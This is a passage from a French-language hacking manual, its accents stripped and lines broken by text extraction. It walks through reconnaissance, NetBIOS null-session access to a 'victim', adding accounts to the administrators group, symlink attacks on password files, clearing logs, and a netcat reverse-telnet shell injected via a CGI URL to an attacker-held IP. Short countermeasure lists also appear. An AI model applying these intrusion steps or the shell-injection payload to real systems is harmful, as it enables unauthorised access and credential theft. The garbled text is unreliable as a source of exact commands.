syntaxe : ping [IP ou nom de l'hte]
exemple : ping 208.24.96.12
utilit : - Permet de savoir si un systme est connect
- permet dobtenir des informations sur un systme
NETSTAT
syntaxe : netstat
exemple : netstat
utilit : - Permet de connatre des informations locales sur
TCP/IP
- obtenir l'IP d'une personne sous ICQ avec qui on a tabli
une conversation
Options : -a
:
qui va nous montrer les connexions en
cours et les ports.
-e :
qui va nous renvoyer des informations Ethernet
-p x : nous renvoie les informations de connexions
pour le port spcifi la place de x
-r : qui va nous renvoyer la table de routage
(Tapez la commande help netstat pour connatre les autres
options)
NBTSTAT
syntaxe : nbtstat -x []
exemple : nbtstat -x
utilit : - Permet de voir les informations sur les
connexions TCP/IP du systme cible utilisant NetBIOS
- exploit netbios

34

(Tapez la commande help nbtstat pour connatre les autres


options)
NET VIEW
syntaxe : net view [nom de la machine]
exemple : net view KHALEL
utilit : - permet de voir les ressources partages de la
machine cible.
NET USE
syntaxe : net use [nom de la machine][lettre de la ressource]
exemple : net use KHALEL
utilit : - permet de se connecter la ressource partage
spcifie

Il y a bien sr dautres commandes (comme arp, route, nslookup).

finger :
C'
est un utilitaire qui permet d'
obtenir des informations sur les utilisateurs d'
un
systme. C'
est aussi un protocole utilisant par dfaut le port 79.

messages d'erreur des serveurs :


Lorsque vous naviguez sur Internet, vous avez dj d voir des messages du genre :
Forbidden ou autres.

35

Et bien ces genres de messages peuvent tre utiles aux pirates, car cela peut leur
permettre de dterminer le type et la version du serveur cible.
Pour obtenir ces informations, vous pouvez amener le serveur produire une erreur
en mettant par exemple une adresse pointant vers un fichier n'
existant pas.
Fates marcher vtre imagination et vous verrez que vous aurez des informations plus
prcises sur le serveur comme le chemin d'
accs au rpertoire /cgi-bin/ , le chemin
d'
accs au rpertoire web.

bannires :
Une bannire est un bloc de texte que l'
on obtient lorsque l'
on se connecte au port
d'
un systme. Une bannire donne gnralement le systme d'
exploitation, la version
et le nom du serveur (si l'
on se connecte sur un serveur situ sur la cible, comme un
serveur FTP) .
La meilleure parade serait de modifier la bannire, le port par dfaut du service ou
modifier limplmentation de TCP/IP du systme d'
exploitation ou en muler un autre
la place car c'
est cette implmentation qui est responsable de la dtermination du
systme dexploitation.
Pourquoi ?
Parce que les systmes sont programms par des personnes diffrentes qui n'
ont pas la
mme manire de programmer.

36

transfert de zones :
D'
abord revoyons quelques notions de rseau, surtout celles qui concernent les
serveurs DNS ( Domaine Name Server) .
Un serveur DNS est un composant rseau qui est principalement charg de faire
certaines rsolutions pour faciliter la vie des hommes et des systmes. Gnralement,
les grosses entreprises possdent un serveur DNS voir plusieurs, chargs de
rsolutions internes.
Passons un exemple pour mieux comprendre le travail des serveurs DNS. En
premier, rappelez-vous que les noms dhtes et les adresse IP sont unique au monde.
Lorsque vous saisissez l'
adresse d'
un site web dans votre navigateur, votre requte est
passe par un systme de rsolution de nom de domaine, qui la prise comme une
requte de type A (qui consiste rsoudre un nom dhte en adresse IP, car les
ordinateurs ne comprennent que les chiffres) et vous renvoie la rponse quil a
normalement reu des systmes DNS, ayant autorit sur le domaine recherch.
Bon cela ne se passe peut-tre pas forcment ainsi, cela dpend de plusieurs points
comme votre configuration rseau
Avant de passer la manire dont les pirates exploitent les informations que traitent
les DNS, nous allons tudier ensemble les diffrentes types de requtes que peuvent
traiter les DNS, cette partie est trs importante car d'
abord vous allez apprendre
comment fonctionnent rellement les DNS et savoir sur quoi se base les pirates
exploitant les mauvaises configurations de ces DNS.

Les requtes
Les requtes
A

Buts
Permet de rsoudre un nom dhte en adresse
IP. Pour cela, il vous faut le nom dhte de la
machine rsoudre et ladresse du DNS ayant
autorit sur la machine.
Permet davoir tous les enregistrements quun
serveur DNS dans son cache propos dune
machine particulire. Pour cela, il vous faut le
nom dhte ou ladresse IP de la machine
cible et ladresse du DNS ayant autorit sur la
machine.
Permet de faire un transfert de zone sur un
DNS. Il vous faut ladresse du DNS
autoritaire et le nom de domaine de la cible
(ex : free.fr, sans le www.)

ANY

AXFR

37

CNAME
(Cannonical Name)

Permet de rsoudre le nom dhte dun


systme partir dun de ses alias. Pour cela, il
vous faut ladresse du DNS autoritaire et dun
des alias du systme de la cible.
Permet davoir la configuration (matrielle et
logiciel) du systme cible. Pour cela, il vous
faut ladresse du DNS autoritaire et du
systme de la cible.
Permet davoir ladresse IP et le nom dhte
des machines utilises pour lacheminement
du mail sur le nom de domaine de la cible.
Pour cela, il vous faut ladresse du DNS
autoritaire et le nom de domaine de la cible.
Permet davoir les adresses des machines
(serveurs DNS) rsolvant les noms dhtes
dun domaine. Pour cela, il vous faut ladresse
du DNS autoritaire et le nom de domaine de
la cible.
Permet de rsoudre une adresse IP en nom
dhte. Pour cela , il vous faut ladresse IP de
la machine rsoudre et ladresse du DNS
autoritaire.
Permet de savoir ladresse du DNS principal
(gnralement, cest le premier serveur DNS
du rseau). Pour cela, il vous faut ladresse
dun des serveurs DNS du rseau.

HINFO
(Host Info)
MX
(Mail exchange)

NS
(Name Server)

PTR
(Pointer)
SOA
(Start Of Autority)

Un transfert de zones
Lorsque un serveur DNS secondaire a besoin de mettre jour ses enregistrements (ce
sont les informations quun serveur DNS a dans son cache concernant les systmes
sur lesquels il a autorit), il fait ce que lon appelle un transfert de zone partir du
serveur DNS principal (qui a gnralement autorit sur toutes les machines du
rseau). Maintenant si un pirate faisait un transfert de zone la place dun serveur
secondaire, il aurait sur son cran toutes les informations concernant le rseau de sa
cible sans scanner les machines du rseau et sans faire de recherches.
Certains programmes qui permettent d'
interroger un DNS vont demander de fournir
des donnes comme le nom de domaine cible et le nom du DNS autoritaire du
domaine (gnralement le premier DNS du rseau cible) .
Pour trouver ces informations, consulter une base donnes whois au sujet du domaine
cible.
Voici des logiciels permettant dinterroger les DNS :

38

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

DNS Expert
NT/95/98/2000
demo
Men&Mice
Permet de faire des requtes DNS

Nom du logiciel :
OS viss :

rPing
Tous les windows

39

Licence :
Editeur ou Auteur :
Le but du logiciel :

shareware
Fournir tous les utilitaires utiles pour un
rseau : ping, traceroute, lookup

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

Nom du logiciel :

IPCHECK

Il fournit aussi les utilitaires comme


lookup, ping, scanner de ports
Tous les utilitaire donnant la possibilit
de chercher avec lookup ou des utilitaires
comme axfr, dig

cartographie :
Cartographier un rseau va nous permettre d'
obtenir la topologie du rseau et la
localisation des lments du rseau. Les logiciels permettant de cartographier un
rseau font partie des couteaux suisses de la bote outils des administrateurs mais
aussi des pirates car cela va leur permettre d'
analyser et de surveiller les systmes du
rseau.

40

Ces logiciels s'


appellent gnralement des Networks Mapper.

Nom du logiciel :
OS viss :
Licence :
Editeur ou Auteur :
Le but du logiciel :

CHEOPS
Open Source
Mark Spencer
Cartographier un rseau et donner sous
forme graphique les systmes du rseau.
Fournit aussi un ping, tracert

les messages lectroniques :


Pour obtenir des informations comme l'
adresse IP et les logiciels de messagerie de la
cible, vous pouvez si vous connaissez son adresse de messagerie, lui envoyer un
message lectronique et lui demander de vous rpondre (mme pour vous dire qu'
il a
bien reu votre message) . Car cest le message quil vous a renvoy qui va vous
permettre de dterminer des informations recherches (remonter de quelques lignes
pour en reprendre connaissance) .

41

Les informations voulues sont situs dans les en-tte du message quil vous a
renvoy, pour ne pas surcharger le livre je nai pas dtailler ici la mthode car elle est
dcrite dans le chapitre consacr aux messageries et aux cookies.

recensement des systmes et des ressources partages :


Le recensement est une tape importante dans la recherche car c'
est ce moment que
vous allez commencer cibler vos attaques sur les points faibles du systme. Nous
allons voir dans cette partie les diffrentes techniques de recensement pour chaque
systme d'
exploitation (Windows, Linux/Unix) .
Windows NT :
l'
aide des commandes Dos net view et net use , vous pouvez, respectivement,
voir et accder aux ressources partages d'
un systme.
Syntaxes :

C:\>net view /domain [:nom_de_domaine] : permet de


recenser les systmes du domaine.
C:\>net view \\nom_hte : permet de voir les ressources partages
dun systme.
C:\>net use \\IP_cible(ou nom dhte)\IPC$ ""
/user:"" : permet de se connecter aux ressources partages avec une
connexion nulle.
C:\>net use \\nom_hte\lettre_ressource : permet de se
connecter la ressource partage non protge du systme.

Vous pouvez aussi recenser les utilisateurs et les comptes sous Windows NT l'
aide
de la commande nbtstat.
Sous DOS il faut taper :
c:WINDOWS nbtstat -A IP_de_la_victime

Normalement vous aurez un truc pareil ce qui suit si votre victime est en rseau:
NetBIOS Remote Machine Name Table
Name Type Status
-------------------------------------------------------KHAALEL<00> UNIQUE Registered
WORKGROUP <00> GROUPE Registered
KHAALEL <03> UNIQUE Registered
KHAALEL <20> UNIQUE Registered
WORKGROUP <1E> GROUPE Registered
MAC Address = 00-00-00-00-00-00

Ici c'
est la ligne avec le numro <20> qui nous intresse car la plupart du temps c'
est

42

sur cette ligne que figure le nom de l'


ordi (ici KHAALEL). Maintenant il faut diter
un fichier lmhost avec:
c:WINDOWS edit lmhosts

Puis taper:
IP_de_la_victime KHAALEL(le nom se trouvant la place) #PRE

Ensuite tapez
c:WINDOWS nbtstat R

Ensuite allez sous dmarrer > rechercher > ordinateur inscrivez dans la case le nom
de l'
ordinateur cible. Cliquez sur le nom avec un click droit puis slectionnez ouvrir
ou explorer.
Vous pouvez faire un recensement des bannires l'
aide de Telnet pour connatre les
services qui tournent sur le systme cible.
Voici une liste de programmes qui permettent de recenser des informations sur un
systme.
Utilitaires
Nbtscan
DumpACL
getmac
netviewx
nltest
net view
NetBios Auditing Tool ( NAT)
netstat
nbtstat
NTRK

NTInfoScan

Fonctions
Permet de faire la commande nbtstat sur
plusieurs IP et sans avoir les retaper
chaque test.
Recense les ressources partages sur le
systme cible .
(www.somarsoft.com)
Permet dobtenir ladresse MAC de la cible.
Permet dobtenir les services et les systmes
dun domaine.
( voir plus haut pour plus dinformations )
Scanner et balayeur NetBIOS
( voir plus haut pour plus dinformations )
( voir plus haut pour plus dinformations )
NT Ressource Kit. Cest un ensemble de
petits utilitaires fournis par Microsoft et qui
permettent ds fois dadministrer un systme
distance. Les pirates peuvent donc lutiliser
pour obtenir certaines informations.
( ftp://ftp.microsoft.com/bussys/winnt/winntpublic/reskit/ )
Scanner de systmes la recherche de
services. Il permet aussi dobtenir des

43

enum
netcat

informations sur les utilisateurs dun systme


et sur NetBIOS.
( http://www.cerberusinfosec.co.uk/ntinfoscan.shtml )
Permet de recenser des systmes par
NetBIOS
Le clbre interprteur de commandes dont
on fera peut-tre la connaissance plus tard

Unix :
Comme sous Windows, on peut recenser les ressources partages et recenser les
utilisateurs mais les commandes sont bien sr diffrentes.
Pour recenser les ressources partages, on peut utiliser la commande showmount, et
pour recenser les utilisateurs il faut utiliser la commande finger. On peut aussi
recenser les bannire grce netcat.

les divers scanners :


Voici certains protocoles permettant de conventionner les techniques utilises par
les scanners de vulnrabilits.
Il y a CVE ( Common Vulnerabilities and Exposures ), CIDF ( Common Intrusion
Detect Framework ), IETF/IDEF ( Intrusion Detection Exchange Format ) ,
IETF/IDWG ( Intrusion Detection Working Group ), IETF/Syslog ( Security Issues in
Network Event Logging ), ICAT Metabase.
Scanners payants
Internet Scanner
Database Scanner
System Scanner
Wireless Scanner

de ISS (www.iss.net)

Retina Network Security Scanner


www.eeye.com )

de

eeye

Scanners gratuits
Nessus

de www.nessus.org

Nmap

de www.insecure.org

44

45

Infiltration, piratage et
scurisation des systmes
dexploitation

46

Windows
Nous allons ensemble tudier les techniques de base de piratage de windows. Surtout
les techniques que l'
on peut faire distance car c'
est le principal accs qu'
un pirate
peut avoir sur un systme windows.
Pour savoir le systme tournant sur un ordinateur, on peut utiliser nmap ou hping qui
permettent de dterminer le systme dexploitation et sa version. Pour pouvoir
raliser cette identification les logiciels vont analyser l'
implmentation de TCP/ IP de
la machine en scannant ses ports. Pourquoi ? Car chaque personne sa manire de
programmer donc a aussi sa manire d'
implmenter la pile de protocole TCP/ IP sur
un systme d'
exploitation.
Pour que nmap et ses compres ne puissent dterminer avec certitude le systme
d'
exploitation tournant sur votre ordinateur, il n'
y a pas plusieurs solutions. La
meilleure serait des changer les informations que les champs des paquets contiennent
par le contenu des mmes champs d'
un paquet mis par un autre systme. Les champs
qu'
il faut changer sont gnralement :
- le champs TTL
- le champs TOS (Type Of Service)
- le champs dfinissant la taille de le fentre
- DF et ACK
Bien sr, seuls les systmes en Open Source peuvent nous permettre de changer cela,
moins que lon sache patcher NT.
Il y a aussi une deuxime mthode qui consiste modifier l'
implmentation de
TCP/IP de votre systme (en Open Source) par un autre que vous aurez crer ou en
mulant celui d'
un autre systme.
Cette petite explication du fingerprinting (prise d'
empreintes du systme
d'
exploitation distance) n'
a pas eu pour but de vous obliger passer sous Linux.
Mais analysez bien ce que l'
open Source peut permettre de faire en connaissant le
langage C. On pourrait avoir une meilleure scurit et moins de problmes, et cela
parce que l'
on aurait facilement accs au code source du noyau.
Maintenant passons au piratage et la scurisation du systme d'
exploitation de
Microsoft.
Pour recenser les services et les ressources partages tant sous Windows, reportezvous au chapitre sur les utilitaires et outils automatiss.
Ce chapitre va se diviser en quatres parties :
- attaque commune tous les Windows
- infiltration et piratage de Windows 9x

47

infiltration et piratage de Windows NT


autres ressources

attaques communes tous les Windows :


chevaux de troie et autres :
Les chevaux de troie sont des programmes infectant qui ont pour but de donner, la
personne qui vous la installe, le pouvoir de prendre le contrle de votre systme. Les
chevaux de troie sont gnralement constitus de deux parties : le client et le serveur.
Le client va se connecter au serveur et ce dernier va effectuer ce que demande le
client (cela dpend des fonctions que propose le client) .
Le serveur est install sur le systme cible, le client sur le systme du pirate.
Comme cheval de troie, il existe NetBus, SubSeven, Back Orifice

48

Certains, doivent se poser une question du genre : les logiciels d'


administration
distance sont alors de chevaux de troie ?

49

Oui, les logiciels d'


administration des PC distance peuvent aussi tre des chevaux
de troie, cela dpend de la manire dont ils sont utiliss.
Passons maintenant une autre forme de logiciels : les keyloggers.
Ce sont des logiciels qui vont nous permettre de savoir tous les caractres tapez sur le
clavier de l'
ordinateur cible mais aussi ce qu'
a fait la cible depuis l'
activation du
programme.

les attaques Dos et DDoS :


Des attaques de type refus de services ou encore les attaques de type buffer overflow
distance peuvent tre utilises pour faire planter un systme quip de Windows.
Pour plus informations sur les attaques Dos et DDoS, allez au chapitre consacr ce
sujet.

Autres :
On peut aussi utiliser les techniques de cracking de mot de passe dcrites au chapitre
traitant du sujet.

infiltration et piratage de Windows 9x :


Dans la premire partie de ce chapitre, nous avons pratiquement fait le tour les
techniques de base de piratage de Windows 9x.
Nous allons quand mme voir une technique trs utilise par les virus et les chevaux
de troie : l'
installation dans des rpertoires spcifiques pour tre lanc au dmarrage
suivant. Pour faire cela, les crateurs de virus ou propagateurs installent leur virus
dans le rpertoire :
C:\Repertoire_windows\Start Menu\Programs\Start

ou dans les cls de la base de registre.


On peut aussi inspecter les diffrents rpertoires systmes de la cible pour y rcolter
des informations.
Pour finir, il y a aussi lexploit NetBIOS.

infiltration et piratage de Windows NT :

50

lophtcrak :
Ce programme permet de craquer les mots de passe du systme (de fichiers Sam) .
Pour cela, rfrez-vous au chapitre sur le piratage de mots de passe.
Lophtcrack a aussi des fonctions de capture de mots de passe (du sniffing en faite)
dans des rseaux de systmes sous Windows. Cette option s'
appelle SMB Relay .
Il y a sur Internet plein de tutoriaux sur l'
utilisation de lophtcrack.

une petite recherche :


Pour obtenir des informations sensibles sur le systme, on va devoir parcourir les
rpertoires systmes et les cls de la base de registre.
Exemple : les cls HLM\SECURITY\Policy\Secrets contiennent des informations
sensibles comme des mots de passe hachs

les comptes par dfaut :


Les systmes bass sur un noyau NT ont tous des comptes par dfaut qui sont
gnralement utiliss par les services de maintenance, et pour plein d'
autres activits.
Pour savoir quels sont les noms de ses comptes, vous pouvez installer Windows NT
ou XP et :
- soit voir les comptes du systme dans les cls de la base de registre
- soit faire un clic droit sur licne du poste travail puis cliquez sur
proprits puis chercher parmi les onglet des informations sur les
utilisateurs du systme.
On peut aussi faire un tour sur le site de Microsoft.
Aprs avoir rcupr les logins et les ventuelles mot de passe de ses comptes, nous
allons pouvoir nous connecter au systme avec des pouvoirs pratiquement gaux
ceux de l'
administrateur.

appartenir un bon groupe :


Le rve tout pirate, appartenir au groupe des administrateurs ou d'
autres groupes
ayant des droits plutt levs. Et bien cela est possible grce des commandes DOS
mais aussi certains logiciels :
- net localgroup administrator <user> /add : permet
d'
ajouter un utilisateur au groupe des administrateurs.
- le logiciel getadmin permet aussi d'
ajouter un utilisateur au groupe
des administrateurs.

51

il doit y avoir beaucoup d'


exploits sur Internet qui permettent
d'
appartenir des groupes ayant des droits levs ou dexcuter des
commandes avec des droits levs.

un interprteur de commande :
Comme pour linux, on peut obtenir un interprteur de commandes du systme
Windows pour y excuter ce que l'
on veut.
Mais qu'
est-ce qu'
un interprteur de commandes ?
Cest une interface logicielle en mode texte qui nous permet de prendre le contrle de
notre systme : cela correspond en gros la invite de commandes DOS.
Maintenant, voyons comment un pirate va pouvoir se procurer l'
interprteur de
commandes du systme.
Pour notre exemple, on va s'
intresser tout particulirement l'
interprteur Remote
Command Line (remote.exe) de NT. Sachez qu'
il y a aussi Remote Command
Service (rcmdsvc.exe) .
Pour pouvoir raliser l'
attaque du pirate NT, il va nous falloir netcat, on s'
arrangera
pour faire installer un espion netcat sur le systme de la cible.
Netcat est une application qui a de multiples fonctions intressantes est importantes,

c'
est un programme double tranchant car, il peut tre aussi bien utilis par un
administrateur rseau que par un pirate.

Pour connatre toutes les facettes de netcat, rfrez-vous son fichier d'
aide.
Pour cette attaque, on a seulement besoin de configurer un espion netcat pour qu'
il
coute un port du systme cible en attente d'
une connexion.
Nous allons aussi devoir configurer lespion pour qu'
il renvoie linterprteur de
commande (remote.exe) ds quil dtecte une connexion sur le port.
On se connecte aux espions netcat l'
aide de netcat.

exploits :
On peut trouver plusieurs exploits sur Internet qui vont nous permettre daccomplir
des attaques sur le systme ou de contourner certaines protections de l'
administrateur
ou du noyau.

effacer ses traces :

52

Il y a plusieurs manires d'


effacer ses traces sous NT aprs s'
y tre infiltrs : cela peut
aller de la suppression du contenu des fichiers logs manuellement ou l'
aide de
logiciels jusqu'
la cration et l'
installation de rootkits pour NT en passant par la
modification des attributs des fichiers que l'
on aurait pu cacher et lajout
d'
information et dutilitaires dans les fichiers.
Cette dernire technique est ralisable en utilisant un flux de fichiers fournis par
NTFS, pour plus informations sur cette technique, faites une recherche sur les failles
du systme de fichiers NTFS et sur les utilitaires POSIX cp de Windows. Le must
serait de lire un guide d'
administration sous NT.

autres ressources
RUNDLL32.EXE
Microsoft a implment un utilitaire appel rundll32.exe qui permet dexcuter
les fonctions dune dll sans avoir crer un programme complexe ou non.
Le seul problme avec ce programme est quil nexcute pas les fonctions des APIs
Win32.
Voici la syntaxe de rundll32.exe :
rundll32.exe [nom_dll],[fonction] [options]

Les fichiers INF


Les fichiers INF sont des fichiers qui offrent la possibilit de faire diverses
manipulations sur un systme quip de Windows. Cela va de linstallation dun
programme (qui peut mme se faire sans laccord de lutilisateur) lajout de donnes
(entres) dans la base de registre.
Nous nallons pas voir comment crer les fichiers INF mais seulement leur
constitution car cela dpasse le cadre de ce livre.
Les fichiers INF sont des fichiers textes qui contiennent diverses sections. Chaque
section une tche particulire.
Pour information, il existe beaucoup de sections : un peu plus dun dizaine.
Voici comment se compose une section :
[nom_section]
instructions_a_executer

53

En premier, on spcifie le nom de la section pour que le fichier sache comment traiter
les instructions excuter.
Exemple :
[DefaultInstall]
CopyFiles
= CopyFiles
[CopyFiles]
programme.exe

Cet extrait de fichier INF va installer (sil est excut) le programme


programme.exe dans le rpertoire choisi prcdemment par le crateur du
fichier.
Conclusion :
Nous venons de voir des fichiers qui sont souvent utiliss lors de ladministration de
systmes ou pour dautres actions.
Ils peuvent entre autre permettre un pirate dinstaller un virus ou des codes
malfaisants sur votre systme sans votre accord (ce qui est possible en associant ces
fichiers des failles web qui permettent dcrire des fichiers sur lordinateur de
linternaute : cf les failles ActiveX).
Pour plus dinformations sur les fichiers INF, certains sites web traitent de leur
cration mais aussi des livres de programmation et dadministration sous Windows.

Les APIs Win32


Les APIs Win32 sont des fonctions permettant dinteragir aisment avec le systme
dexploitation. Elles permettent de faire diverses actions. Elles sont dclares dans
des DLL et sont donc utilisables par tous les languages de programmation
fonctionnant sous Windows (Delphi, C++, Visual Basic).
La connaissance de ces APIs est un gros plus pour les pirates de systmes Windows.
Voici 3 de ces fonctions (choisies au hasard):
Bibliothque :
Son but :
Syntaxe :
Description :

user32.dll
permet de dconnecter lutilisateur courant aprs avoir mis fin aux
applications que ce dernier aurait lanc.
BOOL ExitWindow(DWORD dwReserved, UINT uReserved)

Les 2 paramtres doivent tre mis 0.


Si lexcution de la fonction sest droule avec succs, cette

54

dernire renvoie TRUE, dans le cas contraire FALSE.


Bibliothque :
Son but :
Syntaxe :
Description :

kernel32.dll
Permet dobtenir le nom de lordinateur.
LPTSTR GetComputerName(LPTSTR lpszName, LPDWORD
lpdwcBuffer)
- LPTSTR lpszName : est un pointeur vers lespace mmoire

(variable ou tableau de caractres) qui va contenir le nom


fourni par la fonction.
- LPDWORD lpdwcBuffer : taille de lespace mmoire.

Si lexcution de la fonction sest droule avec succs, cette


dernire renvoie TRUE, dans le cas contraire FALSE.
Bibliothque :
Son but :
Syntaxe :
Description :

kernel32.dll
Permet dobtenir le nom du rpertoire courant.
DWORD GetCurrentDirectory(DWORD dwCurDir, LPTSTR
lpszCurDir)
- DWORD dwCurDir : taille de lespace mmoire qui va contenir

le nom du rpertoire courant.

- LPTSTR lpszCurDir : pointeur vers lespace mmoire qui va


contenir le nom du rpertoire courant.
Si lexcution de la fonction sest droule avec succs, cette
dernire renvoie le nombre de caractres obtenus, dans le cas
contraire la valeur 0.

Parades :
-

Installez un jeu le fichier log dans des rpertoires anodins pour que les
pirates ne puissent les modifier tous.
Installez tous les patchs de scurit pour NT
Analysez chaque port de son systme quitte les dsactiver
Vrifiez rgulirement chaque groupe
Ne pas permettre au simple utilisateur d'
installer des programmes
Supprimez ou affectez un mot de passe aux comptes par dfaut
Bloquez l'
accs la base de registre aux utilisateurs devant avoir des
pouvoirs limits
Mettez un mot de passe aux ressources partages
Partagez vos lecteurs et vos imprimantes que si vous en avez vraiment
besoin car le partage est la base de la plupart des failles de Windows
Installez des programmes anti-troyens comme Bouffe-troyen, The
cleaner
Scannez vos ports et analysez ce qui s'
y passent.

55

56

Unix/Linux
techniques de piratage de base :
failles connues :
Pour pntrer un systme et avoir des droits levs sur ce dernier, les pirates utilisent
gnralement des exploit (codes d'
attaque rdigs par d'
autre hackers) servant
pirater une faille spcifique d'
un systme ou d'
un service. L'
utilisation de ces exploits
demande quand mme quelques connaissances sur le systme vis (services tournant
en tche de fond) .
Aprs avoir rcupr assez dinformations sur le systme cible, ils vont devoir faire
des recherches sur Internet pour trouver le bon exploit.
Pour informations, il existe certains sites ddis ces petits programmes.

le code source :
Une des grandes forces de Linux est la possibilit d'
avoir accs son code source.
Pourquoi ne pas en profiter pour y dcouvrir des failles ?
Cela peut-tre un travail de longue haleine mais ncessite que trois lments : le code
source, un scanner de failles parcourant les codes sources (cf le chapitre sur le
piratage de logiciels) et vos connaissances.

les fichiers so et les autres bibliothques :


Les bibliothques sont des bouts de codes dfinissant les fonctions quutilisent
certains programmes.
Les bibliothques se doivent d'
tre scurises, mais le sont-elles vraiment ?
Nous allons sommairement voir comment sont cres les bibliothques.
Les bibliothques dfinissent des fonctions qui seront utilises par les programmes.
Il existe deux types de bibliothques : les bibliothques dynamiques et les
bibliothques statiques.
Nous allons seulement voir la cration des bibliothques ELF :

57

- les bibliothques statiques (qui sont intgres l'


excutable lors de l'
dition
des liens) :
Dj, il faut crire en langage C les fonctions de la bibliothque, renommer les
fichiers sources en nom_choisi.c . Aprs cela, il faut en faire un fichier objet. Puis
utiliser la commande ar avec ces options pour transformer le fichier objet en fichier
bibliothque (ayant comme extension .a ) . Pour finir on peut utiliser la commande
ranlib pour crer l'
index de la nouvelle bibliothque.
- les bibliothques dynamiques (qui sont charges en mmoire lors de leurs
appels) :
Comme pour les bibliothques statiques, il faut crer un fichier objet puis avec gcc, il
va falloir crer la bibliothque (et en comme extension .so ) avec des options
comme shared.
Pour plus informations sur la cration des bibliothques statiques et dynamiques sous
Linux, rfrez-vous au fichier d'
aide des commandes spcifies mais aussi des livres
traitant de la programmation sous Linux.
Quelques fonctions servant charger des bibliothques :
dlopen( ); permet de charger des bibliothques dynamique.
dlsym( ); permet d'
avoir l'
adresse de dpart d'
une fonction.
dlclose( ); permet de dcharger des bibliothques dynamiques.

les modules chargeables :


Lexplication de la cration dun module sous linux dpasse un peu le cadre de ce
livre bien que cela puisse tre une trs bonne protection et une trs bonne base
dattaque. De plus seuls des bouquins traitant de la programmation sous linux peuvent
expliquer de fond en comble la cration de modules kernel invisibles ou non.

attaque par lien symbolique :


Cette attaque peut permettre aux pirates d'
accder des fichiers sensibles et d'
effacer
leurs contenus.
Mais qu'
est-ce qu'
un lien symbolique ?
Un lien symbolique est un simple fichier (sous Unix tout est fichier) qui crer un
raccourci/lien vers un autre fichier. Lorsqu'
un programme ou un utilisateur cre un
lien ( l'
aide de la commande ln s <fichier_precede_du_chemin>
<nom_raccourci> ), ce dernier hrite des autorisations d'
accs que l'
utilisateur le
droit d'
affecter un fichier. Le problme ici, est que ce fichier pointe vers un autre
fichier, donc lorsqu'
un lment (utilitaire, programme, utilisateur) modifiera de

58

quelques manires que ce soient le lien, le fichier point hritera des autorisations
du lien.
C'
est pour cela, que cette attaque est trs utilise pour obtenir ou effacer le contenu
des fichiers sensibles (/etc/passwd, le fichier shadow, lilo.conf et autres fichiers de
configurations).
Les systmes sous Unix ont gnralement le rpertoire /temp qui n'
est rempli que de
fichiers temporaires quutilisent certains programmes. En dterminant l'
avance le
nom du fichier temporaire que crera un programme, en lui donnant la proprit de
lien symbolique : ds que le programme sera excut, le fichier sensible appartiendra
l'
utilisateur ayant excuter le programme.

troyens, programme infectant et sniffers :


Comme pour les systmes sous Windows, Unix/Linux peut-tre infect par des
programmes infectant (cf chapitre sur les virus) et des logiciels d'
administration
distance utiliss dans un but de malveillance ou comme backdoor.
Un sniffer, comme nous le verrons au chapitre sur les sniffers, permet de capturer le
trafic d'
un systme. Linux possde plusieurs sniffers: comme TCPdump.

telnet invers :
Le telnet invers permet davoir linterprteur de commandes de sa cible avec une
connexion initialise par elle-mme, en faite on va crer une connexion inverse
(cest--dire que le serveur cible va se connecter ntre systme et nous laisser
pouvoir excuter des commandes sur son shell).
Pour cela, on va crer 2 canaux de communications laide des espions de netcat
pour quils coutent deux ports de notre systme. Maintenant la cible va pouvoir se
connecter aux espions.
On peut maintenant crire des commandes sur lun des espions, le shell de la cible va
linterprter et nous renvoyer le(s) rsultat(s) sur lautre canal de communication.
Maintenant passons la configuration.
Sur notre machine, on doit avoir deux fentres de netcat :
- la premire, on a pass la commande : nc l v n p 714
- la deuxime, on a pass la commande : nc l v n p 417
La premire fentre va servir passer les commandes au shell de la cible, la deuxime
recevoir les rsultats de la cible.
Maintenant, vous allez taper la commande suivante dans votre navigateur prfr :

59

telnet ip_du_hacker 714 | /bin/sh | telnet ip_du_hacker 417

sous la forme unicode pour que votre navigateur lexcute :


http://www.site.com/cgibin/page.cgi ?var=/usr/bin/telnet%20ip_du_hacker%20714%20|%20/
bin/sh%20|%20/usr/bin/telnet%20ip_du_hacker%20417

La principale manire de faire du telnet invers serait de trouver un serveur excutant


un cgi et acceptant que lon passe des arguments dans lurl.

obtenir les mots de passe du systme :


Pour cela, le pirate a besoin d'
un logiciel de crackage de mots de passe et des fichiers
o sont conservs les logins (/etc/passwd) et les mots de passe (/etc/shadow) .
Pour plus informations, rfrez-vous au chapitre sur le cracking de mots de passe.

60

61

Dautres techniques de
piratage

62

Attaques DoS et DdoS

Les attaques DoS et DDoS servent invalider un / des systmes distance ou


localement.
Les attaques DoS sont gnralement utilises lorsque l'
on ne peut pas pntrer un
systme et que l'
on prfre le faire couler ou linvalider. On peut aussi utiliser des
attaques DoS et DDoS lorsque l'
on ne veut pas qu'
un systme assure sa fonction.
Il existe diffrentes techniques d'
attaques Dos et DDoS que nous verrons plus tard.
Voyons d'
abord comment fonctionnent ces attaques pour arriver leur fin.
Il existe deux types d'
attaques Dos :
- le DoS local
- Le DoS rseau
Le DoS local peut passer par :
- une saturation disque
- saturation de l'
espace mmoire par la cration dun processus
demandant normment de travail de la part du processeur et beaucoup
de mmoire
- un buffer overflow sur une fonction d'
un programme
- la saturation des partitions des fichiers logs pour ne pas permettre au
systme d'
enregistrer les activits du pirate.
- une attaque du systme de fichiers ou du noyau
Le DoS rseau peut passer par :
- une saturation des services du systme
- un buffer overflow distance
- l'
utilisation des technologies du Web comme le Javascript, Active X
pour planter ou dgrader le systme
- l'
puisement de la bande passante d'
un rseau
- l'
puisement des ressources systmes (par exemple en fragmentant IP
plusieurs reprises et massivement)
- et par plusieurs d'
autres techniques (comme le smurf, le teardrop)
Les codes pour faire des attaques de type refus de services peuvent tre crits dans
diffrents languages : du C au PERL en passant par le python et le REBOL.

63

logiciels de DoS ou de simulation d'attaque :


Les logiciels permettant de faire du refus de service distribu ont gnralement le
mme fonctionnement et la mme architecture : un client (gnralement la personne
voulant faire lattaque), les serveurs (logiciels qui vont servir de relais entre le client
et les agents) et les agents (ce sont ces bouts de codes qui vont faire planter les
systmes distance).
Comme logiciel de refus de service distribu, il y a :
TRINOO
TRIBAL FLOOD NETWORK
TFN2K

Parades :
-

appliquer les patchs de scurit prvues cet effet

64

65

Dpassements de tampon
Analysons d'
abord lhistoire des dpassements de tampons. Puis nous verrons les
bases connatre pour mieux saisir la puissance de cette vulnrabilit. Nous verrons
en dernier comment les pirates font pour mettre en place une attaque par dpassement
